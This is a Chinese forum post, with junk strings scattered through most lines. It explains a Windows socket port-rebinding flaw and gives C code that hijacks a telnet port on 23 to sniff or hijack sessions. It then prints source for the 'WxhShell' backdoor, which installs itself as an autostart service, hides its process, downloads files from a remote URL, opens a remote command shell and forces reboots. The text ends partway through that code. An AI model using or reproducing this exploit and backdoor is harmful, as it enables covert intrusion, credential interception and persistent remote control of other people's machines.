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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PmX2[7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'g)n1 {  
2/7_;_#vJ%  
  saddr.sin_family = AF_INET; h7yqk4'Lq  
Ev9 >@~^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $ uh z  
OCV+h'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 06 mlj6hV  
4Ysb5m)u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3x@<Z68S  
)9v`f9X){  
  这意味着什么?意味着可以进行如下的攻击: `BY&>WY[  
=!b6FjsiG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6^)}PX= *  
LM)`CELsYc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f{&bOF v  
?KE$r~dn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OMrc_)he\  
`>lzlEhKV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,0N94pKy  
+T{'V^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 </"4 zD|  
 $_;e>*+x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1wj:aD?g  
C$yq\C+I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1zxq^BI  
0CExY9@Wq  
  #include 1B=>_3_  
  #include ,*svtw:2')  
  #include ExBUpDQc  
  #include    8wZf ]_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PWr(*ZP>hI  
  int main() 2 QTZwx  
  { wBSQ:f]g  
  WORD wVersionRequested; [bz T& o  
  DWORD ret; 3_$w| ET  
  WSADATA wsaData; jXg  
  BOOL val; An`3Ex[  
  SOCKADDR_IN saddr; IE2"rQT  
  SOCKADDR_IN scaddr;  .) tSg  
  int err; ]T:;Vo  
  SOCKET s; f9u^R=Ff[  
  SOCKET sc; hT g<*  
  int caddsize; `# P$ ]:  
  HANDLE mt; V$`Gwr]|n  
  DWORD tid;   6IcNZ!j98  
  wVersionRequested = MAKEWORD( 2, 2 ); fwR_OB: $  
  err = WSAStartup( wVersionRequested, &wsaData ); J3RB]O_  
  if ( err != 0 ) { <O<LYN+(  
  printf("error!WSAStartup failed!\n"); (!L5-8O  
  return -1; 4u;9J*r4  
  } */qtzt  
  saddr.sin_family = AF_INET; 4,Ic}CvM  
   (N-RIk73/O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =uHnRY  
}yn0IWVa  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kOwMs<1J  
  saddr.sin_port = htons(23); g=L]S-e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 56lCwXCgA  
  { YY((#"o;l  
  printf("error!socket failed!\n"); 0|4%4 Mt  
  return -1; hwYQGtjF  
  } H6*^Ga  
  val = TRUE; y9H% Xl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <x pph t<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZUm?*.g\^  
  { 9m2, qr|  
  printf("error!setsockopt failed!\n"); M9\#Aq&\i  
  return -1; }|OaL*|u  
  } '@|_OmcY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1$/MrPT(b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $@-P5WcRs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zET^T5>:  
B(g_Gm<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q#I"_G&{  
  { %M F;`;1  
  ret=GetLastError(); K7knK  
  printf("error!bind failed!\n"); 4S"\~><  
  return -1; \W5O&G-C  
  } `3H4Ajzcc  
  listen(s,2); } p FQRSOZ  
  while(1) C@ZK~Y_g  
  { 96cJ8I8  
  caddsize = sizeof(scaddr); $,=6[T!z+e  
  //接受连接请求 AN:sQX`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^ 2GHe<Y  
  if(sc!=INVALID_SOCKET) 2,2Z`X  
  { C&LBr|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (/d5UIM{&  
  if(mt==NULL) 94uN I8  
  { ?liK\C2Z<  
  printf("Thread Creat Failed!\n"); h` U?1xS  
  break; - O98pi  
  } NL=|z=q  
  } {N2g8W:  
  CloseHandle(mt); "I?Am&>'  
  } W :,4:|3  
  closesocket(s); <~ad:[  
  WSACleanup(); {^mNJ  
  return 0; @bM2{Rh:  
  }   &X@Bs-  
  DWORD WINAPI ClientThread(LPVOID lpParam) sIG7S"k>p  
  { <U5wB]]  
  SOCKET ss = (SOCKET)lpParam; uzmk6G v  
  SOCKET sc; 4'j sDcs  
  unsigned char buf[4096]; F^"_TV0va  
  SOCKADDR_IN saddr; `e9$,h|4  
  long num; <~}7Mxn%x@  
  DWORD val; M#"524Nz  
  DWORD ret; )[H{yQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .7'kw]{/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0N[&3Ee8  
  saddr.sin_family = AF_INET; fbyQjvURnC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KoE8 Mp  
  saddr.sin_port = htons(23); ZUz ^!d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Re:jVJg Bz  
  { 6:GTD$Uz.  
  printf("error!socket failed!\n"); 7{e{9QbJ4  
  return -1; H gTUy[(  
  } 3 !Sp0P  
  val = 100; :q8b;*:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3czeTj  
  { UNijFGi  
  ret = GetLastError(); =PRx?q`d  
  return -1; S)QAXjH  
  } /,!qFt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pi=-#g(2  
  { R1nJUOE4w^  
  ret = GetLastError(); ]{"Br$  
  return -1; sK{l 9  
  } QM3,'?ekRH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IG(?xf\C  
  { ]\/tVn.'  
  printf("error!socket connect failed!\n"); !d<"nx[2`  
  closesocket(sc); aQI^^$9g  
  closesocket(ss); VrZ>bma;  
  return -1; <;E  
  } vN 2u34  
  while(1) [: xiZ  
  { &] \X]p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J]m{ b09F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qB)"qFa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fc/ &X  
  num = recv(ss,buf,4096,0); 'n<iU st  
  if(num>0) v9Xp97J2  
  send(sc,buf,num,0); '9c2Q/  
  else if(num==0) 4w#``UY)'  
  break; wApMzZ(X2y  
  num = recv(sc,buf,4096,0); _qb Ih  
  if(num>0) ,J`'Y+7W  
  send(ss,buf,num,0); \*,=S52  
  else if(num==0) .{;Y'Zc14S  
  break;  8q1wHZ  
  } F4<O2!V  
  closesocket(ss); A AHt218  
  closesocket(sc); :>p8zG  
  return 0 ; mhW-J6u*  
  } \rVQQ|l   
DGevE~  
a0Ik`8^`  
========================================================== rDm'Z>nTf  
jy]JiQ B  
下边附上一个代码,,WXhSHELL `DT3x{}_S  
8k(P,o  
========================================================== )xb|3&+W  
Rb(SBa  
#include "stdafx.h" >J|]moSVA  
TYI7<-Mp:[  
#include <stdio.h> >vuY+o;B  
#include <string.h> e" ]2=5g  
#include <windows.h> 7\ nf:.  
#include <winsock2.h>  9CCkqB/  
#include <winsvc.h> )5|I_PXB  
#include <urlmon.h> q~o,WZG  
+za8=`2o  
#pragma comment (lib, "Ws2_32.lib") U^qt6$bK  
#pragma comment (lib, "urlmon.lib") S1/`th  
"R8KQj  
#define MAX_USER   100 // 最大客户端连接数 Hcc"b0>}{  
#define BUF_SOCK   200 // sock buffer Ela-,(Glk  
#define KEY_BUFF   255 // 输入 buffer M-i_#EWP  
&Q}*+Y]G  
#define REBOOT     0   // 重启 rHP%0f 9:  
#define SHUTDOWN   1   // 关机 &-5_f* {  
u*qV[y5Bl  
#define DEF_PORT   5000 // 监听端口 tgjr&G}a@0  
_z[#}d;k  
#define REG_LEN     16   // 注册表键长度 <cA/<3k)  
#define SVC_LEN     80   // NT服务名长度 J)mh u}  
T97]P-}  
// 从dll定义API 4(-b x.V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1 { , F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1^i Pji/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M>M`baM1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F4Y @ B  
%T7nO%p  
// wxhshell配置信息 5s{ABJ\@V  
struct WSCFG { <(vCiH9~P  
  int ws_port;         // 监听端口 Q:ezifQ  
  char ws_passstr[REG_LEN]; // 口令 1xv8gC:6  
  int ws_autoins;       // 安装标记, 1=yes 0=no `GXkF:f=  
  char ws_regname[REG_LEN]; // 注册表键名 ?YeWH WM  
  char ws_svcname[REG_LEN]; // 服务名 %%cHoprDa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ={hX}"*D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6rS$yjTX!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9:I6( Zv0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sl2@umR7%(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "QvmqI>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w1UA?+43  
>AJSqgHQ,  
}; S~]mWxgZ  
LHJ":^  
// default Wxhshell configuration ~Y.tz`2D  
struct WSCFG wscfg={DEF_PORT, =V"(AuCVE  
    "xuhuanlingzhe", 'Wa,OFd\8  
    1, si4don  
    "Wxhshell", 1".v6caW  
    "Wxhshell",  jq08=  
            "WxhShell Service", oA1a/[#  
    "Wrsky Windows CmdShell Service", w1;hy"zPsj  
    "Please Input Your Password: ", )G7=G+e;  
  1, fABe  
  "http://www.wrsky.com/wxhshell.exe", ." $  
  "Wxhshell.exe" jF[ 1za  
    }; U\rh[0  
y,pZTlE  
// 消息定义模块 cWajrLw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1,5E `J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h=_mNG>R)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @(C1_  
char *msg_ws_ext="\n\rExit."; GElvz'S~  
char *msg_ws_end="\n\rQuit."; 9M"].~iNE  
char *msg_ws_boot="\n\rReboot..."; W5#611  
char *msg_ws_poff="\n\rShutdown..."; J~(Wf%jM~  
char *msg_ws_down="\n\rSave to "; 7^T^($+6s&  
Hi]cxD*`  
char *msg_ws_err="\n\rErr!"; mw5?[@G-  
char *msg_ws_ok="\n\rOK!"; WL{(Ob  
2c?qV  
char ExeFile[MAX_PATH]; zXsc1erli  
int nUser = 0; oq*N_mP0  
HANDLE handles[MAX_USER]; 'EFyIVezg9  
int OsIsNt; } G<rt  
?aW^+3i  
SERVICE_STATUS       serviceStatus; 4~U'TE @  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jmg!Ml  
pKS {6P  
// 函数声明 mXUYQ 82  
int Install(void); -Z-IF#%  
int Uninstall(void); ](F#`zUQ  
int DownloadFile(char *sURL, SOCKET wsh); B^%1Rpcn  
int Boot(int flag); -+t]15  
void HideProc(void); *%vwM7  
int GetOsVer(void); `>o?CIdp  
int Wxhshell(SOCKET wsl); Dz./w  
void TalkWithClient(void *cs); TE )gVE]  
int CmdShell(SOCKET sock); `mT$s,:h  
int StartFromService(void); lg pW@g  
int StartWxhshell(LPSTR lpCmdLine); _bD/D!|  
ud fe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ddVa.0Z!<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G^"Vo x4  
7RDDdF E!  
// 数据结构和表定义 eiJ2NwR\w  
SERVICE_TABLE_ENTRY DispatchTable[] = wM_c48|d  
{ <5=JE*s$NS  
{wscfg.ws_svcname, NTServiceMain}, <)*2LBF@]  
{NULL, NULL} *-s,. F+c  
}; OiDhJ  
(Z5##dS3  
// 自我安装 @E.k/G!~Nb  
int Install(void) ) _ I,KEe  
{ #.[AK_S5&  
  char svExeFile[MAX_PATH]; 8.bKb<y  
  HKEY key; JY!l!xH(6  
  strcpy(svExeFile,ExeFile); 7=]i~7uy  
%zU`XVNN+  
// 如果是win9x系统,修改注册表设为自启动 =uDgzdDyE  
if(!OsIsNt) { <}6{{&mT4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jgu94.;5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -CH`>  
  RegCloseKey(key); n41@iK2l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wW?,;B'74  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XBQ\_2>  
  RegCloseKey(key); #"fJa:IYG7  
  return 0; ob_I]~^I?|  
    } fIF<g@s  
  } r}yG0c,  
} %r)avI  
else { F_uY{bg  
Il.Ed-&62  
// 如果是NT以上系统,安装为系统服务 /m _kn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V#ev-\k}@  
if (schSCManager!=0) 7m#[!%D  
{ [Pe#kzLX  
  SC_HANDLE schService = CreateService $(Ugtimdv  
  ( kX:tc   
  schSCManager, n]+W 3[i  
  wscfg.ws_svcname, 9;%CHb&  
  wscfg.ws_svcdisp, *c[2C  
  SERVICE_ALL_ACCESS, _if|TFw;h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {2`=qt2  
  SERVICE_AUTO_START, }6 5s'JB  
  SERVICE_ERROR_NORMAL, NrDi   
  svExeFile, @5) 8L/[l  
  NULL, B5X sGLV  
  NULL, J/);"bg_O  
  NULL, d7Ur$K\=y  
  NULL, 1xf=_F0`&  
  NULL A|}l)!%  
  ); '2zL.:~  
  if (schService!=0) 2}?wYI*:5|  
  { l:]Nn%U(>  
  CloseServiceHandle(schService); YJxw 'U >P  
  CloseServiceHandle(schSCManager); Ff^@~X+W<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p#f+P?  
  strcat(svExeFile,wscfg.ws_svcname); ;DnUQj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G= ^X1+_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +*oS((0s  
  RegCloseKey(key); d +iR/Ssc  
  return 0; Ut]+k+ 4  
    } *sQcg8{^  
  } _B2V "p  
  CloseServiceHandle(schSCManager); JFL>nH0mk.  
} Wl^R8w#Z$  
} T2 ?HRx  
E99CmG|"  
return 1; ^5=UK7e5KY  
} sM1RU  
$V6^G*Q  
// 自我卸载 *s}|Hy  
int Uninstall(void) weMww,:^[  
{ ?j7vZ}iRi  
  HKEY key; K7I&sS^x  
04!(okubyp  
if(!OsIsNt) { ;evCW$G=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0e["]Tlnm  
  RegDeleteValue(key,wscfg.ws_regname); l6[lJ0Y  
  RegCloseKey(key); ! 0/z>#b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !~<siy  
  RegDeleteValue(key,wscfg.ws_regname); Q4s&E\}  
  RegCloseKey(key); O gmO&cE  
  return 0; v;y0jD#b  
  } xa( m5P  
} V@=V5bZLs  
} PU9`<3z5  
else { j*T]HaM  
U3vEdw<lV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YEjY8]t  
if (schSCManager!=0) 5=?i;P  
{ (B>Zaro#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0@1:M  
  if (schService!=0) F)$K  
  { wN37zPnV~  
  if(DeleteService(schService)!=0) { 5TBI<K  
  CloseServiceHandle(schService); WKA'=,`v  
  CloseServiceHandle(schSCManager); D 7shiv|,  
  return 0; J3S&3+2G  
  } Mu_i$j$vvP  
  CloseServiceHandle(schService); T#:F]=  
  } vd#,DU=p!  
  CloseServiceHandle(schSCManager); 2>S~I"o0  
} ?3sT" r_d@  
} MWuXI1  
d_}a`H  
return 1; HW=xvA+  
} "C%!8`K{a*  
D1,O:+[;.  
// 从指定url下载文件  Kn+=lCk  
int DownloadFile(char *sURL, SOCKET wsh) ;i#LIHJ  
{ \9)[ #Ld  
  HRESULT hr; Mj0Cat=  
char seps[]= "/"; p}]q d4j  
char *token; >',y  
char *file; #`GbHxd  
char myURL[MAX_PATH]; }wt%1v-10U  
char myFILE[MAX_PATH]; aj|5 #  
o}8{Bh^  
strcpy(myURL,sURL); X=qS"O 1  
  token=strtok(myURL,seps); o 6j"OZcv  
  while(token!=NULL) ioIv=qGdiP  
  { G2mNm'0  
    file=token; F N"rZWM  
  token=strtok(NULL,seps); +?-qfp,:0  
  } w`yx=i#  
UPCQs",  
GetCurrentDirectory(MAX_PATH,myFILE); coQ[@vu  
strcat(myFILE, "\\"); ~] =?b)B  
strcat(myFILE, file); '\p;y7N  
  send(wsh,myFILE,strlen(myFILE),0); snk$^  
send(wsh,"...",3,0); m>Ux`Gp+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UFZ"C,  
  if(hr==S_OK) 24@^{ }  
return 0; 1czG55 |  
else d5xxb _oE  
return 1; y[HQBv  
*)VAaGUX>  
} 7{BnXN[  
7#4%\f+'t  
// 系统电源模块 "!&B4  
int Boot(int flag) 0*(K DDv  
{ GXb47_b^  
  HANDLE hToken; `ypL]$cW  
  TOKEN_PRIVILEGES tkp; Md(JIlh3  
q&M:17+:Q  
  if(OsIsNt) { 2tr :xi@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9\51Z:>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J6|JWp  
    tkp.PrivilegeCount = 1; C@@$"}%v2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AF#_nK) @  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O.:I,D&]  
if(flag==REBOOT) { D?u`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .K9l*-e[=  
  return 0; cqQRU  
} GfsBQY/  
else { *m_93J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fn,k!q  
  return 0; 9={N4}<  
} (DJvi6\H  
  } >a]t<  
  else { ' Js?N  
if(flag==REBOOT) { eOrYa3hQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QP\yaPE  
  return 0; \.>.c g  
} g37q/nEv  
else { G*\sdBW!k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \RE c8nsLy  
  return 0; ^pcRW44K  
} ?iln<% G  
} @%B4;c  
qyv"Wb6+  
return 1; :GL7J6  
} RWE~&w G}  
X(GV6mJ4  
// win9x进程隐藏模块 q:yO92Ow  
void HideProc(void) Xu]h$%W  
{ 1p CkWe  
`C<F+/q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $9i9s4u^  
  if ( hKernel != NULL ) PRp E$`WK  
  { p37|zX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^gm>!-Gx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A7'bNd6f9  
    FreeLibrary(hKernel); 3i(Jon/p  
  } uu3M{*}  
i`~~+6`J  
return; + zDc  
} 6$z'wy/*  
4g!7 4a  
// 获取操作系统版本 {bTeAfbf]  
int GetOsVer(void) n#>5?W  
{ `cO|RhD @  
  OSVERSIONINFO winfo; no3Z\@%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *:#Z+7x ]  
  GetVersionEx(&winfo); Qu}N:P9l?X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %]GV+!3S  
  return 1; )OUU]MUH  
  else c!~T2t  
  return 0; e?vj+ZlS$f  
} b]K>vhQV  
WY.5K =}  
// 客户端句柄模块 U3VT*nj'  
int Wxhshell(SOCKET wsl) S>EDL  
{ E!dp~RwZu  
  SOCKET wsh; /hfUPO5  
  struct sockaddr_in client; [0(mFMC`  
  DWORD myID; cyb(\ fsC  
\>;%Ji  
  while(nUser<MAX_USER) &E]"c]i+  
{ <{ # <5 8  
  int nSize=sizeof(client); tj#b_ u z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [)iN)$Mv  
  if(wsh==INVALID_SOCKET) return 1; KT=a(QL  
t[j9R#02?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2$DSBQEx  
if(handles[nUser]==0) BJIFl!w  
  closesocket(wsh); f\=6I3z  
else 7?"9J `*  
  nUser++; ]0YDb~UB  
  } +Z$a1 Y@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cE 2Rr  
DCK_F8  
  return 0; rT<1S?jR  
} `r9^:TMN  
CwB] )QV?  
// 关闭 socket 43F^J%G  
void CloseIt(SOCKET wsh) EGEMZCdk2  
{ `=v@i9cTZ  
closesocket(wsh); DZ%8 |PmB  
nUser--; 5IO3 %p?  
ExitThread(0); _;V YFs  
} .Map   
K_FBy  
// 客户端请求句柄 a^x  0 l  
void TalkWithClient(void *cs) @QX4 \  
{ 5 Af?Yxv  
v'$ykZ!Z  
  SOCKET wsh=(SOCKET)cs; uAQg"j  
  char pwd[SVC_LEN]; 3m~U(yho  
  char cmd[KEY_BUFF]; 6<+8}`@B>G  
char chr[1]; X; 5S  
int i,j; vS2(Q0+TZi  
rSbQ}O4V  
  while (nUser < MAX_USER) { lkyJ;}_**  
Y& m<lnB  
if(wscfg.ws_passstr) { hN}5u"pS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &#%D.@L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [@zkv)D6  
  //ZeroMemory(pwd,KEY_BUFF); lvG3<ls0K$  
      i=0; . *Z#cq0  
  while(i<SVC_LEN) { F-i&M1 \_  
78gob&p?  
  // 设置超时 eNivlJ,K|@  
  fd_set FdRead; }:"R-s  
  struct timeval TimeOut; ELD +:b  
  FD_ZERO(&FdRead); P0Aas)!  
  FD_SET(wsh,&FdRead); 83X/"2-K  
  TimeOut.tv_sec=8; ,qYf#fU#7  
  TimeOut.tv_usec=0; ={OCa1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KM EXT$p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gMCy$+?  
a3*.,%d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _5Bu [I  
  pwd=chr[0]; })q]g Mj  
  if(chr[0]==0xd || chr[0]==0xa) { OY$7`8M[  
  pwd=0; 9.jG\i  
  break; OfW%&LAMQ  
  } ~LSy7$rz  
  i++; YqkA&qL]#;  
    } ^75pV%<%  
.!9Vt#  
  // 如果是非法用户,关闭 socket "hz>{oe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i^~sn `o  
} v)TUg0U=,  
 $.=5e3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g+VRT, r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +~@7" |d  
tYF$#Nor#k  
while(1) { K T%i,T  
x!Y(Y=i>  
  ZeroMemory(cmd,KEY_BUFF); wbo{JQ  
tP -5  
      // 自动支持客户端 telnet标准   % 1OC#&  
  j=0; hwc:@'  
  while(j<KEY_BUFF) { 1mAUEQ!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Al)lWD}j2g  
  cmd[j]=chr[0]; }7otuO(pRo  
  if(chr[0]==0xa || chr[0]==0xd) { se }pdL}  
  cmd[j]=0; 0oXK&Z  
  break; (q0No26;(  
  } 3#7ENV`  
  j++; {-~05,zE  
    } }3LBbG0Bw  
+0pgq (  
  // 下载文件 %-T}s`Z  
  if(strstr(cmd,"http://")) { lK_ ~d_f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &9S8al 8"  
  if(DownloadFile(cmd,wsh)) *1%e%G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zjw!In|vC  
  else 02;f2;I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {(8U8f<'=y  
  } YWybPD4\(  
  else {  >cC Gx  
!k4 }v'=  
    switch(cmd[0]) { AEiWL.*.  
  i/l!Cr2  
  // 帮助 Pm;x]Aj  
  case '?': { y^5T/M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zb 12:?  
    break; Cmp{FN"o  
  } R?1idl)  
  // 安装 }(8D!XgWa  
  case 'i': { @2)t#~Wc4h  
    if(Install()) L{4),65  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gK&5HTo  
    else V.O<|tl.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UUt~W  
    break; [i2A{(x  
    } yBU ZVqqDa  
  // 卸载 ]b5%?^Z#  
  case 'r': { ,AGM?&A  
    if(Uninstall()) ~xsb5M5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{Krw \0  
    else a/wUeW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TyxU6<>4J4  
    break; \ SoYx5lf  
    } m70`{-O  
  // 显示 wxhshell 所在路径 &"@HWF  
  case 'p': { ,I 9][_  
    char svExeFile[MAX_PATH]; <(u3+`f1s  
    strcpy(svExeFile,"\n\r"); SaX,^_GY  
      strcat(svExeFile,ExeFile); a>;3 j  
        send(wsh,svExeFile,strlen(svExeFile),0); Ngm O0H  
    break; x9FLr}e  
    } Y3 Pz00x  
  // 重启 OX#eLco  
  case 'b': { )3D+gu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U]`'GM/x  
    if(Boot(REBOOT)) `2 %eDFZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ox i a}  
    else { gNMKGf\Y  
    closesocket(wsh); s0X/1Cq  
    ExitThread(0); HM(bR"E  
    } MbT ONt?~v  
    break; [="g|/M)  
    } W07-JHV%  
  // 关机 AaCnTRG  
  case 'd': { 8gu'dG=  
